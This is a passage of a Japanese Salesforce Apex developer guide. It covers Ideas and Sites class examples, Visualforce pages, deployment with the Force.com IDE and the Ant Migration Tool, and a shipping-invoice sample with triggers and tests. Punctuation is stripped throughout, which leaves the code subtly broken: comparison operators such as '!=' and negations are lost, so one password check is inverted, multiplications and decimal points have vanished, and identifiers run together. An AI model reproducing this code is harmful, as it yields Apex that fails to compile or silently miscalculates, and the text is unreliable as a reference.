getUnreadRecentReplies

現在ログインしているユーザのすべてのコメントを既読に設定します

VoidString ideaIDmarkRead

アイデアの詳細はSalesforcecom オンラインヘルプの「Salesforce CRM Ideas の使用」を参照してください

アイデア例

次に特定のコミュニティの中で新しいアイデアと似た件名アイデアを検索する例を示します

public class FindSimilarIdeasController

public static void test() 新しいアイデアをインスタンス化Idea idea = new Idea ()

新しいアイデアの件名を指定ideatitle = Increase Vacation Time for Employees

似たアイデアを探す communityID (INTERNAL_IDEAS) を指定Community community = [ SELECT IdFROM Community WHERE Name = INTERNAL_IDEAS ]

ideacommunityId = communityid

ID[] results = IdeasfindSimilar(idea)

次にVisualforce ページと特別な Apex クラスであるカスタムコントローラの両方を使用する例を示しますVisualforce の詳細はwwwsalesforcecomusdeveloperdocspagesindexhtm の『Visualforce Developers Guide』を参照してください

この例では未読の最近のコメントを返すコントローラにApexメソッドを作成しますgetAllRecentReplies

および getReadRecentRepliesメソッドで同様の例を活用できますこの例が動作するにはコミュニティに投稿されているアイデアが必要となりますさらに最低 1 人のコミュニティメンバーが別のコミュニティのメンバーのアイデアやコメントにコメントを投稿していなければなりません

すべてのコミュニティで未読となっている最近のコメントを取得する Apex メソッドを作成public classIdeasController

参照 Version 180 | Apex コミュニティクラス | 376

public Idea[] getUnreadRecentReplies() Idea[] recentReplies if (recentReplies == null) Id[] recentRepliesIds = IdeasgetUnreadRecentReplies(UserInfogetUserId() )recentReplies = [select id title from idea where id in recentRepliesIds] returnrecentReplies

次に上記のカスタムコントローラを使用し未読の最近のコメントのリストを作成するVisualforceページのマークアップを示します

ltapexpage controller=IdeasController showHeader=falsegt ltapexdataListvalue=unreadRecentReplies var=recentReplyIdeagt ltahref=apexviewIdeaid=recentReplyIdeaidgt ltapexoutputTextvalue=recentReplyIdeatitle escape=truegtltagt ltapexdataListgt ltapexpagegt

次にデータのリストに Visualforce ページとカスタムコントローラを使用する例を示します続いて2 つ目のVisualforceページとカスタムコントローラを使用して特定のアイデアを表示し既読に設定する方法を示しますこの例が動作するにはコミュニティに投稿されているアイデアが必要となります

VisualForce ページでアイデアのリストに使用するコントローラを作成public class IdeaListController

public final Idea[] ideas get private set

public IdeaListController() Integer i = 0 ideas = new Idea[10] for (Idea tmp Databasequery (select id title from Idea where id = null and parentIdeaId = null limit10)) i++ ideasadd(tmp)

次に上記のカスタムコントローラを使用しアイデアのリストを作成するVisualforceページのマークアップを示します

ltapexpage controller=IdeaListController tabStyle=Idea showHeader=falsegt

ltapexdataList value=ideas var=idea id=ideaListgt ltahref=apexviewIdeaid=ideaidgt ltapexoutputText value=ideatitleescape=truegtltagt ltapexdataListgt

ltapexpagegt

次にVisualforce ページとカスタムコントローラの両方を使用する例をもう 1 つ示しますここでは上記のアイデアリストページで選択されたアイデアを表示しますこの例ではmarkReadメソッドが選択したアイデアと関連するコメントを現在ログイン中のユーザによる既読に設定しますmarkReadがコンストラクタに含まれているためユーザがこのコントロールを使用するページにアクセスするとアイデアは直ちに既読に設定されることにご注意くださいこの例が動作するにはコミュニティに投稿されているアイデアが必要となりますさらに最低 1 人のコミュニティメンバーが別のコミュニティのメンバーのアイデアやコメントにコメントを投稿していなければなりません

選択されたアイデアのすべてのコメントを既読に設定する Apex メソッドを コントローラに作成public classViewIdeaController

private final String id = SystemcurrentPage()getParameters()get(id)

public ViewIdeaController(ApexPagesStandardController controller) IdeasmarkRead(id)

参照 Version 180 | Apex コミュニティクラス | 377

次に上記のカスタムコントローラを使用しアイデアを既読として表示するVisualforceページのマークアップを示します

ltapexpage standardController=Idea extensions=ViewIdeaController showHeader=falsegt

lth2gtltapexoutputText value=ideatitle gtlth2gt ltapexoutputText value=ideabodygt

ltapexpagegt

サイトクラス次にForcecom サイトの静的メソッドを示します

説明戻り値の型引数名前

現在のユーザのパスワードを変更します

SystemPageReferenceString newpassword

Stringverifynewpassword

changePassword

String opt_oldpassword

指定された取引先のポータルユーザを作成しサイトのポータルと

IdsObject user

String accountId

createPortalUser

関連付けますString opt_password

createPortalUserメソッドを使用する場合nicknameはユーザの sObject について必須です

メモ このメソッドはサイトがカスタマーポータルと関連する場合にのみ有効です

ユーザのパスワードをリセットし新しいパスワードを記載した

BooleanString usernameforgotPassword

電子メールをユーザに送信しますパスワードのリセットが正常に行われたかどうかを示す値を返します

サイトに関連付けられている追跡コードこのコードはサイトに

StringgetAnalyticsTrackingCode

対するページリクエストデータを追跡するためにGoogle Analyticsなどのサービスで使用されます

現在の要求に対するサイト URL(例 httpmycocomや

StringgetCurrentSiteUrl

httpsmycoforcecomprefix

など) を返します

参照 Version 180 | サイトクラス | 378

説明戻り値の型引数名前

現在のサイトの [カスタム Web

アドレス]項目の値が返りますStringgetCustomWebAddress

組織の Forcecom ドメイン名を返します

StringgetDomain

エラーがありそれがサイトに指定されたエラーページである場合

StringgetErrorDescription

は現在のページのエラーの説明を返しそうでない場合は空の文字列を返します

エラーがありそれがサイトに指定されたエラーページである場合

StringgetErrorMessage

は現在のページのエラーメッセージを返しそうでない場合は空の文字列を返します

現在のサイトの API 名を返しします

StringgetName

このページがサイトに指定されたエラーページである場合は元の

StringgetOriginalUrl

URL を返しそうでない場合はNull を返します

現在のサイトの URL パスの接頭辞を返しますたとえばサイト

StringgetPrefix

URL がmycoforcecompartnersである場合partnersがパス接頭辞です接頭辞が定義されない場合またはページにカスタムWebアドレスを使用してアクセスした場合Null を返します

現在のサイトに関連付けられたテンプレートを返しますテンプ

SystemPageReferencegetTemplate

レートが指定されていない場合デフォルトのテンプレートを返します

現在のサイトがログインが有効なポータルと関連付けられている場

BooleanisLoginEnabled

合は trueを返しそうでない場合は falseを返します

認証ユーザについて現在ログインしているユーザのパスワードの

BooleanisPasswordExpired

有効期限が切れている場合true

参照 Version 180 | サイトクラス | 379

説明戻り値の型引数名前

を返します非認証ユーザについてはfalseを返します

現在のサイトが自己登録対応のカスタマーポータルと関連付けられ

BooleanisRegistrationEnabled

ている場合は trueを返しそうでない場合はfalseを返します

ユーザは指定されたユーザ名およびパスワードで現在のサイトにロ

SystemPageReferenceString username

String password

ログイン

グインできユーザを startUrlString startUrl に誘導しますstartUrlが相対

パスでない場合デフォルトはサイトの指定されたインデックスページとなります

メモ startURLにhttpまたは https

を指定しないでください

サイトの詳細はSalesforcecom オンラインヘルプの「サイトの概要」を参照してください

Forcecom Sites の例

次の例ではクラスSiteRegisterControllerを作成しますこのクラスはVisualforceページ (下記マークアップを参照) を使用して新規カスタマーポータルユーザを登録します

メモ 次の例では新しいポータルユーザと関連付ける取引先の取引先 ID を入力する必要があります取引先所有者をこのコード例が機能するロール階層に追加する必要もあります詳細はSalesforcecomオンラインヘルプの「カスタマーポータルの設定」 を参照してください

ポータルユーザを作成する Apex クラス public class SiteRegisterController PORTAL_ACCOUNT_ID は取引先担当者が作成されポータルユーザとして有効化される取引先ですltportal_account_idgt の場所に取引先 ID を入力します private static Id PORTAL_ACCOUNT_ID= ltportal_account_idgt

public SiteRegisterController ()

public String username get set public String email get set public String passwordget set password = value == null value valuetrim() public String confirmPasswordget set confirmPassword = value == null value valuetrim() public StringcommunityNickname get set communityNickname = value == null value valuetrim()

private boolean isValidPassword() return password == confirmPassword

public PageReference registerUser() パスワードが null の場合無作為のパスワードがユーザに送信されます if (isValidPassword()) ApexPagesMessage msg = newApexPagesMessage(ApexPagesSeverityERROR Labelsitepasswords_dont_match)ApexPagesaddMessage(msg) return null User u = new User() uUsername = username uEmail= email uCommunityNickname = communityNickname

参照 Version 180 | サイトクラス | 380

String accountId = PORTAL_ACCOUNT_ID

lastName はユーザの必須項目ですが指定されていない場合ユーザ名を使用します String userId =SitecreatePortalUser(u accountId password) if (userId = null) if (password = nullampamp passwordlength() gt 1) return Sitelogin(username password null) else PageReference page = SystemPageSiteRegisterConfirm pagesetRedirect(true) return page return null 正のテストケースを検証する Test メソッド static testMethod voidtestRegistration() SiteRegisterController controller = new SiteRegisterController()controllerusername = testforcecom controlleremail = testforcecomcontrollercommunityNickname = test registerUser はゲストユーザとしてページにアクセスしていない場合は常に Null を返します Systemassert(controllerregisterUser() == null)controllerpassword = abcd1234 controllerconfirmPassword = abcd123Systemassert(controllerregisterUser() == null)

次は上記の SiteRegisterController Apex コントローラを使用する Visualforce 登録ページです

ltapexpage id=Registration showHeader=false controller= SiteRegisterControllerstandardStylesheets=truegt ltapexoutputText value=Registrationgt ltbrgt ltapexformid=theFormgt ltapexmessages id=msg styleClass=errorMsg layout=tablestyle=margin-top1emgt ltapexpanelGrid columns=2 style=margin-top1emgtltapexoutputLabel value=$Labelsiteusername for=usernamegt ltapexinputTextrequired=true id=username value=usernamegt ltapexoutputLabelvalue=$Labelsitecommunity_nickname for=communityNicknamegt ltapexinputTextrequired=true id=communityNickname required=true value=communityNicknamegtltapexoutputLabel value=$Labelsiteemail for=emailgt ltapexinputText required=trueid=email required=true value=emailgt ltapexoutputLabelvalue=$Labelsitepassword for=passwordgt ltapexinputSecret id=passwordvalue=passwordgt ltapexoutputLabel value=$Labelsiteconfirm_passwordfor=confirmPasswordgt ltapexinputSecret id=confirmPassword value=confirmPasswordgtltapexoutputText value=gt ltapexcommandButton action=registerUservalue=$Labelsitesubmit id=submitgt ltapexpanelGridgt ltapexformgt ltapexpagegt

参照 Version 180 | サイトクラス | 381

第 13 章

Apexスクリプトの展開

Salesforcecom 運用組織では Apex を開発することはできません実際にユーザが利用中のシステムで開発を行う場合データまたはアプリケー

トピック

bull Forcecom IDE を使用した Apexの展開

ションを不安定にまたは破壊することがありますsalesforcecomはsandboxまたはDeveloper Edition 組織上ですべての開発作業を行うことを推奨しますbull Forcecom Migration Tool の使用

bull Forcecom Migration Tool 追加ディプロイメソッド

Forcecom IDEForcecom Migration Toolまたは追加のディプロイメソッドを使用してコードを展開します

Forcecom IDE を使用した Apex の展開

Forcecom IDE は Eclipse IDE のプラグインですForcecom IDE にはForcecom アプリケーションを構築および展開する統合インターフェースがあります開発者および開発チーム向けに設計された IDE にはソースコードエディタテスト実行ツールウィザードおよび統合ヘルプなどForcecom アプリケーション開発を促進するツールが用意されていますForcecom IDEはhttpwikiapexdevnetcomindexphpForcecom_IDEで入手できます基本的なカラー表示エディタアウトラインビュー統合されたユニットテストおよび保存時の自動コンパイルとエラーメッセージ表示を提供します

Apex を Forcecom IDE から Salesforcecom 組織に展開するにはサーバへの展開ウィザードを使用します

メモ 運用組織に展開する場合

bull Apex スクリプトの75がユニットテストの適用範囲でかつすべてのテストは正しく完了します

次の点に注意してください

- 運用組織に展開する場合組織の名前空間内の各ユニットテストが行われます- Systemdebugへのコールはユニットテストの Apex コードの範囲の一部としてカウントされま

せん- Apex コードの 75 だけをテストでカバーする必要がある場合フォーカスはカバーされるコード

の割合にあってはいけません代わりに正のケースや負のケース大量のレコードや単一レコードなどアプリケーションのすべての使用ケースがカバーされていることを確認してくださいコードの 75 以上がユニットテストにカバーされます

bull すべてのトリガについていくつかのテスト適用範囲ありますbull すべてのクラスとトリガは正常にコンパイルされます

サーバへの展開ウィザードの使用方法の詳細はEclipse で入手できる Forcecom IDE マニュアルの「別のSalesforcecom 組織への展開」を参照してください

Forcecom Migration Tool の使用

Forcecom IDE のほかApex の展開にスクリプトを使用することもできます

Apache の Ant 開発ツールを使用して Developer Edition または Sandbox を使用している組織から Salesforcecom 運用組織に Apex ディプロイ用のスクリプトを使用する場合はForcecom 移行ツールをダウンロードします

Forcecom Migration Toolを使うには以下を行います

1 httpjavasuncomjavasedownloadsindexjspを訪問しJava JDKのバージョン61以上をディプロイマシンにインストールします

2 httpantapacheorgを訪問しApache Antのバージョン16以上をディプロイマシンにインストールします3 環境変数 ANT_HOMEJAVA_HOMEPATHなど をhttpantapacheorgmanualinstallhtmlのAnt Installation Guide

で指定されたように設定します

Apexスクリプトの展開 Version 180 | Forcecom IDE を使用した Apex の展開 | 383

4 コマンドプロンプトを開きant ndashversionを入力してJDKとAntが正しくインストールされているか確認してください出力したものは以下のようになるでしょう

Apache Ant version 170 compiled on December 13 2006

5 ディプロイマシン上でSalesforcecomにログインしてくださいSetup Develop Toolsと順にクリックしForcecom Migration Toolをクリックしてください

6 ダウンロードしたファイルをお好きなディレクトリにディプロイしてくださいZipファイルには以下が含まれます

bull ツールの使用方法を説明した Readmehtmlファイルbull Ant タスクを含む Jar ファイル ant-salesforcejarbull 次の内容を含むサンプルフォルダ

- SampleDeployClassclsと SampleFailingTestClassclsを含む codepkgclassesフォルダ- SampleAccountTriggertriggerを含む codepkgtriggersフォルダ- 例で使用するカスタムオブジェクトを含む mypkgobjectsフォルダ- 組織から例を削除するための XML ファイルを含む removecodepkgフォルダ- buildxmlの Ant タスクを実行するための認証情報を指定するサンプル buildpropertiesファイル- deployおよび retrieve API コールを実行するサンプル buildxmlファイル

7 解凍したファイルからant-salesforcejarをant libディレクトリにコピーしてくださいant libディレクトリはAntインストール先のルートフォルダにあります

8 解凍したファイル内のサンプルサブディレクトリを開いてください9 buildpropertiesファイルを編集してください

1 Salesforcecom運用組織ユーザ名およびパスワードをsfuserとsfpasswordフィールドにそれぞれ入力してください

メモ 指定のユーザ名はApexを編集するための権限を持っていなければなりません

2 sandbox組織にディプロイしない場合sfserverurlをhttpstestsalesforcecomに変更してください

10 サンプルディレクトリのコマンドウィンドウを開いてください11 ant deployCodeを入力してくださいこれはForcecom Migration Toolにて提供されたサンプルクラスと

Accountトリガを使ってdeploy APIコールを実行します

ant deployCodeはbuildxmlファイル内でdeployと名づけられたAntターゲットを呼び出します

lt-- Shows deploying code amp running tests for package codepkg --gt lttargetname=deployCodegt lt-- Upload the contents of the codepkg package running the testsfor just 1 class --gt ltsfdeploy username=$sfusername password=$sfpasswordserverurl=$sfserverurl deployroot=codepkggt ltrunTestgtSampleDeployClassltrunTestgtltsfdeploygt lttargetgt

deployの詳細についてはUnderstanding deploy (ページ 385)を参照してください12 ant deployCodeの実行の一部として追加されたテストクラスとトリガを除去するにはコマンドウィンドウ

内で以下を入力してくださいant undeployCode

Apexスクリプトの展開 Version 180 | Forcecom Migration Tool の使用 | 384

ant undeployCodeはbuildxmlファイル内でundeployCodeと名づけられたAntターゲットを呼び出します

lttarget name=undeployCodegt ltsfdeploy username=$sfusername password=$sfpasswordserverurl= $sfserverurl deployroot=removecodepkggt lttargetgt

deployについて以下のすべてがTrueの場合のみdeployコールは正しく完成します

bull Apex スクリプトの75がユニットテストの適用範囲でかつすべてのテストは正しく完了すること

次の点に注意してください

- 運用組織をディプロイする場合組織の名前空間内の各ユニットテストが行われます- Systemdebugへのコールはユニットテストの Apex コードの範囲の一部としてカウントされません- Apex コードの 75 だけをテストでカバーする必要がある場合フォーカスはカバーされるコードの割合

にあってはいけません代わりに正のケースや負のケース大量のレコードや単一レコードなどアプリケーションのすべての使用ケースがカバーされていることを確認してくださいコードの 75 以上がユニットテストにカバーされます

bull すべてのトリガについていくつかのテスト適用範囲ありますbull すべてのクラスとトリガは正常にコンパイルされます

一度に複数の deploy Metadata API コールを実行することはできません

Forcecom Migration Toolはディプロイスクリプトに組み入れ可能なタスクdeployを提供します組織のクラスとトリガを含むようにbuildxmlサンプルを変更可能ですdeployタスクのプロパティは以下の通りですusername

Salesforcecom 運用組織にログインするためのユーザ名

password

Salesforcecom 運用組織にログインするための関連パスワード

serverURL

ログインしようとしている Salesforcecom サーバのURL値を指定しない場合デフォルトはwwwsalesforcecomです

deployRoot

ディプロイしたいその他のメタデータと同様にApexクラスとトリガを含むローカルディレクトリ必要なファイル構造を作成する最良の方法は組織またはsandboxから取得することです詳細はUnderstandingretrieveCode (ページ 386)を参照してください

bull Apexクラスファイルはclassesと名づけられたサブディレクトリ内にある必要があります各クラス用に以下のように名づけられた2ファイルを持っている必要があります

- classnamecls- classnamecls-metaxml

例えばMyClassclsとMyClasscls-metaxml-metaxmlファイルはAPIバージョンとクラスのステータス(アクティブインアクティブ)を含みます

Apexスクリプトの展開 Version 180 | deploy について | 385

bull Apexトリガファイルはtriggersと名づけられたサブディレクトリ内にある必要があります各トリガ用に以下のように名づけられた2ファイルを持っている必要があります

- triggernametrigger- triggernametrigger-metaxml

例えばMyTriggertriggerとMyTriggertrigger-metaxml-metaxmlファイルはAPIバージョンとトリガのステータス(アクティブインアクティブ)を含みます

bull ルートディレクトリはすべてのクラストリガおよびその他のディプロイされるオブジェクトを列記したXMLファイルpackagexmlを含みます

bull ルートディレクトリは場合によりすべてのクラストリガ組織から削除されるその他のオブジェクトを列記したXMLファイルdestructiveChangesxmlを含みます

checkOnly

クラスとトリガがターゲット環境にディプロイされるかどうかを指定します組織内のすべてのテストを実行したい場合は true を設定しますそうでない場合は false を設定します値を指定しない場合デフォルトはFalseです

runTests

実行したいユニットテストを含んだクラスの名前

メモ このパラメータはSalesforcecom 運用組織にディプロイする際には無視されます組織の名前空間内の各ユニットテストは実行されます

runAllTests

組織内のすべてのテストを実行したい場合はtrueを設定しますそうでない場合はfalseを設定しますrunAllTestsにtrueを指定する場合runTestsの値を指定する必要はありません

メモ このパラメータはSalesforcecom 運用組織にディプロイする際には無視されます組織の名前空間内の各ユニットテストは実行されます

retrieveCodeについてsandboxまたは製造組織からクラスとトリガを取得するためにretrieveCodeコールを使ってください通常のディプロイサイクル中は新しいクラスとトリガ用の正しいディレクトリ構造を取得するためにdeployの前にretrieveCodeを実行するでしょうしかしながら例えば取得するものがあることを確認するためにdeployが最初に使われます

既存の組織からクラスとトリガを取得するには以下のサンプル構築ターゲットant retrieveCodeによって例示されるようにantタスクを使ってください

lttarget name=retrieveCodegt lt-- Retrieve the contents listed in the file codepkgpackagexmlinto the codepkg directory --gt ltsfretrieve username=$sfusernamepassword=$sfpassword serverurl=$sfserverurl retrieveTarget=codepkgunpackaged=codepkgpackagexmlgt lttargetgt

ファイルcodepkgpackagexmlは取得されるメタデータコンポーネントを列記していますこの例では2つのクラスと1つのトリガを取得します取得されたファイルはディレクトリcodepkgに入れられディレクトリ内にすでに存在するすべてに上書きされます

Apexスクリプトの展開 Version 180 | retrieveCode について | 386

取得タスクのプロパティは以下の通りですusername

Salesforcecom 運用組織にログインするためのユーザ名

password

Salesforcecom 運用組織にログインするための関連パスワード

serverURL

ログインしようとしている Salesforcecom サーバのURL値を指定しない場合デフォルトはwwwsalesforcecomです

apiversion

ファイルに取得される Metadata API のバージョン

retrieveTarget

ファイルのコピー先のディレクトリ

unpackaged

取得されるファイルのリストを含むファイル名このパラメータまたはpackageNamesのどちらかを指定してください

packageNames

そのパッケージまたは取得されるパッケージ名

表 3 buildxml取得ターゲットフィールド設定

説明項目

必須項目ログイン用のsalesforceユーザ名username

必須項目このプロジェクトに関連した組織にログインするために使うユーザ名セキュリティトークンを使っ

password

ている場合はパスワードの最後に25桁のトークン値を貼り付けてくださいこの接続に関連したユーザ名はこのプロファイル上にModify All Data許可を持っている必要があります一般的にこれはSystemAdministratorユーザのみに有効にされます

オプションsalesforceサーバURL 空白の場合規定値はwwwsalesforcecom testsalesforcecomのSandboxインスタンスに対してこれは有効です

serverurl

任意規定値5000salesforcecomの各ポールが結果を取得するまで待つミリ秒数

pollWaitMillis

任意規定値10レポートの結果用のポールsalesforcecomの回数

maxPoll

必須項目メタデータファイルを取得するディレクトリ構造のルート

retrieveTarget

Apexスクリプトの展開 Version 180 | retrieveCode について | 387

説明項目

オプション取得するコンポーネントを指定するマニフェストのファイル名

unpackaged

任意規定値はFalse取得される内容が単一パッケージかどうかを指定する

singlePackage

オプション取得するパッケージ名のリストpackageNames

オプション取得するファイル名のリストspecificFiles

runTests()についてForcecom Migration Tool で deploy()を使用するほかrunTests() API コールも使用可能ですこのコールは以下のプロパティを取りますclass

該当するユニットテストを含むクラスの名前ですこのプロパティは複数回指定可能です

alltests

全テストを実行するか指定しますすべてのテストを実行したい場合は true を設定しますそうでない場合は false を設定します

namespace

テストしたい名前空間名前空間を指定した場合名前空間の全テストが実行されます

Forcecom Migration Tool 追加ディプロイメソッド

Forcecom IDE または Forcecom Migration Tool を使用して Apex を展開しない場合次の API を使用して Apexを開発組織または Sandbox 組織に展開します

bull compileAndTest

bull compileClasses

bull compileTriggers

設定不要な項目値と同様にこれらすべてのコールはクラスまたはトリガを含むApexスクリプトを実施します

Apexスクリプトの展開 Version 180 | runTests() について | 388

付録

付録

A納入先請求書の例

この付録ではApexアプリケーションの例について説明していますHello World の例より複雑な例があります

bull 納入先請求書の例ウォークスルー (ページ 389)bull 納入先請求書の例コード (ページ 391)

納入先請求書の例ウォークスルー

ここで示すサンプルアプリケーションにはApex と混合された従来の Salesforcecom 機能が含まれています一般的なイディオムとともにApex の静的およびセマンティック機能の多くはこのアプリケーションで説明されています

メモ Hello World スクリプトと納入先請求書の例ではカスタム項目およびオブジェクトが必要です項目やオブジェクトを自分で作成したりオブジェクト項目および Apex スクリプトを管理パッケージとして Forcecom AppExchange からダウンロードできます詳細はwikiapexdevnetcomindexphpDocumentation を参照してください

シナリオ

サンプルアプリケーションでは納入先請求書または注文を新規作成し品目を請求書に追加します総量を含む注文金額合計が請求書に追加または削除される品目に基づいて自動的に計算および更新されます

データおよびコードモデル

このサンプルアプリケーションではItem と Shipping_invoice の新しい 2 つのオブジェクトを使用します

次のように想定します

bull Item A は shipping_invoice1 および shipping_invoice2 の両方の注文に含めることはできません2 つの顧客は同じ (物理的に) 商品を取得できません

bull 消費税率は 925 ですbull 送料の比率を 1 ポンド当たり 75 セントに設定しますbull 注文が $100 を超えている場合送料の割引が適用されます (送料無料)

Item カスタムオブジェクトの項目には次のようなものがあります

説明型名前

品目の名前文字列名前

品目の金額通貨Price

この注文に含まれる品目数数値Quantity

品目の重量総量の計算に使用します数値Weight

この品目が関連する注文主従 (shipping_invoice)Shipping_invoice

Shipping_invoice カスタムオブジェクトの項目は次のとおりです

説明型名前

納入先請求書注文の名前文字列Name

小計通貨Subtotal

消費税送料を含む合計金額通貨GrandTotal

配送にかかる金額 (1 ポンド当たり $075)通貨Shipping

小計の金額が $100 に達した場合にのみ適用通貨ShippingDiscount

消費税金額 (925)通貨Tax

すべての品目の総重量数値TotalWeight

トリガに含まれるこのアプリケーションのすべてのApexこのアプリケーションには次のトリガがあります

説明実行タイミングトリガ名オブジェクト

納入先請求書を更新し合計および総量を計算します

挿入後更新後削除後CalculateItem

納入先請求書を更新し送料割引があるかどうかを計算します

更新後ShippingDiscountShipping_invoice

次はユーザアクションとトリガが実行されるタイミングの一般的な流れです

付録 A 納入先請求書の例 Version 180 | 納入先請求書の例ウォークスルー | 390

1 [注文] [新規]をクリックして納入先請求書の名前を付け[保存] をクリックします2 [新規品目] をクリックし情報を入力してから [保存] をクリックします3 Calculate トリガが実行されますCalculate トリガの一部により納入先請求書を更新します4 ShippingDiscount トリガが実行されます5 請求書内の品目を追加削除または変更します

トリガおよびテストクラスの納入先請求書の例コードが表示されますこのコードのコマンドは機能について説明します

納入先請求書アプリケーションのテスト

パッケージの一部としてアプリケーションを追加する前にコードのうち 75 にユニットテストを行う必要がありますそのため納入先請求書アプリケーションの一部はトリガのテストに使用するクラスとなります

テストクラスは次のアクションが正常に行われたことを確認します

bull 品目の挿入bull 品目の更新bull 品目の削除bull 送料割引の適用bull 不正入力の負のテスト

納入先請求書の例コード

次のトリガおよびテストクラスは納入先請求書の例のアプリケーションを構成しています

付録 A 納入先請求書の例 Version 180 | 納入先請求書の例コード | 391

bull Calculate トリガbull ShippingDiscount トリガbull テストクラス

Calculate トリガ

trigger calculate on Item__c (after insert after update after delete)

重複する値を使用できないためマップを使用

MapltID Shipping_Invoice__Cgt updateMap = new MapltID Shipping_Invoice__Cgt()

Integer の減算を削除している場合この整数を -1 に設定

トリガタイプに基づいて項目のリストを入力 ListltItem__cgt itemList if(triggerisInsert ||triggerisUpdate) itemList = triggernew subtract = 1 else if(triggerisDelete) Note -- there is no triggernew in delete itemList = triggerold subtract = -1

必要に応じて問い合わせるのではなく 単一クエリーで必要なすべての情報にアクセスする これは要求の一括処理のベストプラクティスです

setltIdgt AllItems = new setltidgt()

for(item__c i itemList) 数値が負でないことを確認 負の値の場合項目は無効です

Systemassert(iquantity__c gt 0 Quantity must be positive) Systemassert(iweight__cgt= 0 Weight must be non-negative) Systemassert(iprice__c gt= 0 Price must benon-negative)

ID が重複する場合セットには追加されません AllItemsadd(iShipping_Invoice__C)

トリガの項目に関連するすべての納入先請求書にアクセスする ListltShipping_Invoice__CgtAllShippingInvoices = [SELECT id ShippingDiscount__c SubTotal__c TotalWeight__c Tax__cGrandTotal__c FROM Shipping_Invoice__C where id in AllItems]

入力したリストを使用しマップに投入する リストを反復する必要があるため納入先請求書を検索しやすくなりますが マップのルックアップを使用できます MapltID Shipping_Invoice__Cgt SIMap = new MapltIDShipping_Invoice__Cgt()

for(Shipping_Invoice__C sc AllShippingInvoices) SIMapput(scid sc)

項目のリストを処理 if(triggerisUpdate) 更新を各項目の相違を明らかにするのではなく 項目から取得した古い項目の削除 および追加と同じように処理します 更新には triggernew および triggeroldがあります for(integer x = 0 x lt triggeroldsize() x++) Shipping_Invoice__C myOrdermyOrder = SIMapget(triggerold[x]Shipping_Invoice__C)

小計および重みから以前の値を引きます myOrderSubTotal__c -= (triggerold[x]price__c triggerold[x]quantity__c) myOrderTotalWeight__c -= (triggerold[x]weight__c triggerold[x]quantity__c)

新しい小計および重みを追加します myOrderSubTotal__c += (triggernew[x]price__c triggernew[x]quantity__c) myOrderTotalWeight__c += (triggernew[x]weight__c triggernew[x]quantity__c)

for(Shipping_Invoice__C myOrder AllShippingInvoices)

税率を 925 に設定しますこれは簡単な例です 通常はハードコア値ではありません 税率のカスタム設定を使用することがベストプラクティスです 詳細は『Apex 開発者ガイド』 の「カスタム設定」を参照してください myOrderTax__c = myOrderSubtotal__c 0925

付録 A 納入先請求書の例 Version 180 | 納入先請求書の例コード | 392

送料割引をリセットします myOrderShippingDiscount__c = 0

送料の比率を 1 ポンド当たり 75 遷都に設定します 通常はハードコア値ではありません 送料のカスタム設定を使用することがベストプラクティスです 詳細は『Apex 開発者ガイド』 の「カスタム設定」を参照してください myOrderShipping__c = (myOrdertotalWeight__c 75) myOrderGrandTotal__c= myOrderSubTotal__c + myOrdertax__c + myOrderShipping__c updateMapput(myOrderidmyOrder) else for(Item__c itemToProcess itemList) Shipping_Invoice__C myOrder

以前取得した納入先請求書から適切な納入先請求書を検索します myOrder =SIMapget(itemToProcessShipping_Invoice__C) myOrderSubTotal__c += (itemToProcessprice__c itemToProcessquantity__c subtract) myOrderTotalWeight__c += (itemToProcessweight__c itemToProcessquantity__c subtract)

for(Shipping_Invoice__C myOrder AllShippingInvoices)

税率を 925 に設定しますこれは簡単な例です 通常はハードコア値ではありません 税率のカスタム設定を使用することがベストプラクティスです 詳細は『Apex 開発者ガイド』 の「カスタム設定」を参照してください myOrderTax__c = myOrderSubtotal__c 0925

送料割引をリセットします myOrderShippingDiscount__c = 0

送料の比率を 1 ポンド当たり 75 遷都に設定します 通常はハードコア値ではありません 送料のカスタム設定を使用することがベストプラクティスです 詳細は『Apex 開発者ガイド』 の「カスタム設定」を参照してください myOrderShipping__c = (myOrdertotalWeight__c 75) myOrderGrandTotal__c= myOrderSubTotal__c + myOrdertax__c + myOrderShipping__c

updateMapput(myOrderid myOrder)

最後に 1 つの DML 更新だけを使用します このトリガから生成された DML 要求の数を最小化します updateupdateMapvalues()

ShippingDiscount トリガ

trigger ShippingDiscount on Shipping_Invoice__C (before update) $100 以上を購入したすべての注文は送料無料

for(Shipping_Invoice__C myShippingInvoice triggernew) if((myShippingInvoicesubtotal__cgt= 10000) ampamp (myShippingInvoiceShippingDiscount__c == 0)) myShippingInvoiceShippingDiscount__c = myShippingInvoiceShipping__c -1myShippingInvoiceGrandTotal__c += myShippingInvoiceShippingDiscount__c

納入先請求書のテスト

IsTest private class TestShippingInvoice

一回の公開静的 testmethod で3つの項目を挿入することに対するテストを行います testBulkItemInsert() 納入先請求書を作成しますテストで無関係なデータがないよう デフォルトを使用またはすべての値を

明示的に 0 に設定する ことがベストプラクティスですShipping_Invoice__C order1 = newShipping_Invoice__C(subtotal__c = 0 totalweight__c = 0 grandtotal__c = 0ShippingDiscount__c = 0 Shipping__c = 0 tax__c = 0)

注文を挿入し項目を入力します insert Order1 ListltItem__cgt list1 = new ListltItem__cgt()Item__c item1 = new Item__C(Price__c = 10 weight__c = 1 quantity__c = 1 Shipping_Invoice__C= order1id) Item__c item2 = new Item__C(Price__c = 25 weight__c = 2 quantity__c = 1Shipping_Invoice__C = order1id) Item__c item3 = new Item__C(Price__c = 40 weight__c =3 quantity__c = 1 Shipping_Invoice__C = order1id) list1add(item1) list1add(item2)list1add(item3) insert list1

付録 A 納入先請求書の例 Version 180 | 納入先請求書の例コード | 393

注文を取得しアソシエーションを実行します order1 = [SELECT id subtotal__c tax__cshipping__c totalweight__c grandtotal__c shippingdiscount__c FROM Shipping_Invoice__CWHERE id = order1id]

Systemassert(order1subtotal__c == 75 Order subtotal was not $75 but was +order1subtotal__c) Systemassert(order1tax__c == 69375 Order tax was not $69375 butwas + order1tax__c) Systemassert(order1shipping__c == 450 Order shipping was not$450 but was + order1shipping__c) Systemassert(order1totalweight__c == 600 Orderweight was not 6 but was + order1totalweight__c) Systemassert(order1grandtotal__c== 864375 Order grand total was not $864375 but was + order1grandtotal__c)Systemassert(order1shippingdiscount__c == 0 Order shipping discount was not $0 but was + order1shippingdiscount__c)

一回の公開静的 testmethod で3つの項目を更新することに対するテストを行います testBulkItemUpdate()

納入先請求書を作成しますテストで無関係なデータがないよう デフォルトを使用またはすべての値を明示的に 0 に設定する ことがベストプラクティスですShipping_Invoice__C order1 = newShipping_Invoice__C(subtotal__c = 0 totalweight__c = 0 grandtotal__c = 0ShippingDiscount__c = 0 Shipping__c = 0 tax__c = 0)

